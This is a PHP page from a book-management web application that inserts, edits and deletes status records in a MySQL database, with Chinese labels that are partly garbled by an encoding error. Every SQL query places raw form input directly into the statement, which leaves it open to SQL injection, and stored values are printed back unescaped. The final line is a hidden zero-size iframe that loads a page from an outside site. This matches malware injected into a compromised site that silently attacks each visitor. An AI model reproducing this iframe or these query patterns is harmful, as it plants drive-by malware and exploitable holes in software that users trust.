<link href="../css/css.css" rel="stylesheet" type="text/css">
<?php  
include "../config.php";
?>
<?php  //插入狀態(tài)

if(!empty($_POST[submit]))
{
$state=$_POST["state"];
$remarks=$_POST["remarks"];

if(empty($state))
{
echo "<script language='javascript'>alert('狀態(tài)不能為空');history.go(-1);</script>";
}
$sql="insert into bookmanagement.state(state,remarks) values ('$state','$remarks')";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('狀態(tài)設(shè)置成功'); window.location.href='state.php';</script>";
}
}
?>

<?php  //返回
if(!empty($_POST[submit3]))
{
echo "<script language='javascript'>window.location.href='../index.php';</script>";
}
?>

<?php  //查看
if(!empty($_POST[submit4]))
{
echo "<script language='javascript'>window.location.href='state.php';</script>";
}
?>

<?php  //修改

if(!empty($_POST[submit5]))
{
?>


<form action="statecl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle">　狀態(tài)設(shè)置</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="110" height="5" class="word">&nbsp;</td>
      <td height="5" colspan="3" align="left" class="word">&nbsp;</td>
    </tr>
	<tr>
	<td width="110" height="35" class="word" align="center">I D</td>
<?php
$id=$_GET["id"];
$sql="select * from bookmanagement.state where id='$_POST[selected]'";
$result=mysql_query($sql);
$row=mysql_fetch_array($result)
?>	
	<td width="375" height="35" class="word" align="left">　
	  <input name="id" type="text" id="id" size="30"
		 value="<?=$row['id']?>" />	</td>
	</tr>	
    <tr>
      <td width="110" height="35" class="word">　　狀　　態(tài)</td>
      <td height="35" colspan="3" align="left" class="word">　
        <input name="state" type="text" id="state" size="45"
		 value="<?=$row['state']?>" /></td></tr>
    <tr>
      <td width="110" height="35" class="word">　　備　　注</td>
      <td height="35" colspan="3" class="word">　
        <input name="remarks" type="text" id="remarks" size="85" 
		value="<?=$row['remarks']?>"></td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="50" colspan="4" align="center" class="word">　　　　　　　
        <input type="submit" name="submit7" value="保存繼續(xù)" />　　
        　
        <input type="reset" name="submit2" value="清空內(nèi)容" />
      　　　
      <input type="submit" name="submit3" value="返回" /></td>
    </tr>
  </table>
</form>
<?php

}
?>
<?php  //修改處理

if(!empty($_POST[submit7]))
{
$id=$_POST["id"];
$state=$_POST["state"];
$remarks=$_POST["remarks"];

if(empty($state))
{
echo "<script language='javascript'>alert('狀態(tài)不能為空');history.go(-1);</script>";
}

$sql="update bookmanagement.state set id='$id',state='$state',remarks='$remarks' where id='$id'";
$result=mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('狀態(tài)修改成功'); window.location.href='state.php';</script>";
}
}
?>

<?php  //刪除

if(!empty($_POST[submit6]))
{
$sql="delete from bookmanagement.state where id='$_POST[selected]'";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('狀態(tài)刪除成功'); window.location.href='state.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>